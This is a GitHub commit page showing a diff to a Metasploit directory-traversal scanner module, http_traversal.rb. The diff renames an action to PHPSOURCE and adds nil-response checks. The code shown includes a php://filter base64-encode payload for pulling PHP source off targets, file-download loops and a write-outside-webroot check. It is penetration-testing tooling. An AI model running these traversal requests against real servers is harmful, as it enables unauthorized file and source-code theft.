Skip to content

Commit 638d9d1

Browse files
committed
Fix nil res bug, change action name, etc
1 parent 6341260 commit 638d9d1

File tree

1 file changed

+16
-23
lines changed

1 file changed

+16
-23
lines changed

modules/auxiliary/scanner/http/http_traversal.rb

Lines changed: 16 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -24,9 +24,8 @@ def initialize(info = {})
2424
directory traversal exists in the web server, and then return the path that
2525
triggers the vulnerability. The 'DOWNLOAD' action shares the same ability as
2626
'CHECK', but will take advantage of the found trigger to download files based on
27-
a 'FILELIST' of your choosing. You also can to download php source code files using PHPDOWNLOAD
28-
based in a crawled list.
29-
The 'WRITABLE' action can be used to determine
27+
a 'FILELIST' of your choosing. The 'PHPSOURCE' action can be used to download
28+
source against PHP applications. The 'WRITABLE' action can be used to determine
3029
if the trigger can be used to write files outside the www directory.
3130
3231
To use the 'COOKIE' option, set your value like so: "name=value". To use
@@ -45,7 +44,7 @@ def initialize(info = {})
4544
['CHECK', {'Description' => 'Check for basic directory traversal'}],
4645
['WRITABLE', {'Description' => 'Check if a traversal bug allows us to write anywhere'}],
4746
['DOWNLOAD', {'Description' => 'Attempt to download files after bruteforcing a trigger'}],
48-
['PHPDOWNLOAD', {'Description' => 'Attempt to download php source code files'}]
47+
['PHPSOURCE', {'Description' => 'Attempt to retrieve php source code files'}]
4948
],
5049
'DefaultAction' => 'CHECK'
5150
))
@@ -235,7 +234,7 @@ def lfi_download(trigger, files)
235234
req = ini_request(uri = (datastore['PATH'] + trigger + f).chop)
236235
res = send_request_cgi(req, 25)
237236

238-
vprint_status("#{res.code.to_s} for http://#{rhost}:#{rport}#{uri}")
237+
vprint_status("#{res.code.to_s} for http://#{rhost}:#{rport}#{uri}") if res
239238

240239
# Only download files that are withint our interest
241240
if res and res.to_s =~ datastore['PATTERN']
@@ -249,9 +248,9 @@ def lfi_download(trigger, files)
249248
print_status("#{counter.to_s} file(s) downloaded")
250249
end
251250

252-
251+
253252
#
254-
# Action 'PHPDOWNLOAD': Used to grab the php source code
253+
# Action 'PHPSOURCE': Used to grab the php source code
255254
#
256255
def php_download(files)
257256
counter = 0
@@ -262,22 +261,18 @@ def php_download(files)
262261
req = ini_request(uri = (datastore['PATH'] + "php://filter/read=convert.base64-encode/resource=" + f).chop)
263262
res = send_request_cgi(req, 25)
264263

265-
vprint_status("#{res.code.to_s} for http://#{rhost}:#{rport}#{uri}")
264+
vprint_status("#{res.code.to_s} for http://#{rhost}:#{rport}#{uri}") if res
266265

267-
# Only download files that are withint our interest
268-
#if res and res.to_s =~ datastore['PATTERN']
269-
# We assume the string followed by the last '/' is our file name
270-
fname = f.split("/")[-1].chop
271-
loot = store_loot("php.data","text/plain",rhost,Rex::Text.decode_base64(res.body),fname)
272-
print_good("File #{fname} downloaded to: #{loot}")
273-
counter += 1
274-
#end
266+
# We assume the string followed by the last '/' is our file name
267+
fname = f.split("/")[-1].chop
268+
loot = store_loot("php.data","text/plain",rhost,Rex::Text.decode_base64(res.body),fname)
269+
print_good("File #{fname} downloaded to: #{loot}")
270+
counter += 1
275271
end
276272
print_status("#{counter.to_s} source code file(s) downloaded")
277273
end
278274

279-
280-
275+
281276
#
282277
# Action 'WRITABLE': This method will attempt to write to a directory outside of www
283278
#
@@ -354,18 +349,16 @@ def run_host(ip)
354349
return if trigger.nil?
355350
is_writable(trigger)
356351

357-
elsif action.name == 'PHPDOWNLOAD'
352+
elsif action.name == 'PHPSOURCE'
358353
trigger = ini_trigger
359354
return if trigger.nil?
360355
files = load_filelist
361356
php_download(files)
362-
363-
357+
364358
elsif action.name == 'DOWNLOAD'
365359
trigger = ini_trigger
366360
return if trigger.nil?
367-
368-
361+
369362
# Load up a file list that we wish to download, and then attempt to download them
370363
# with our directory traversal trigger
371364
files = load_filelist

0 commit comments

Comments
 (0)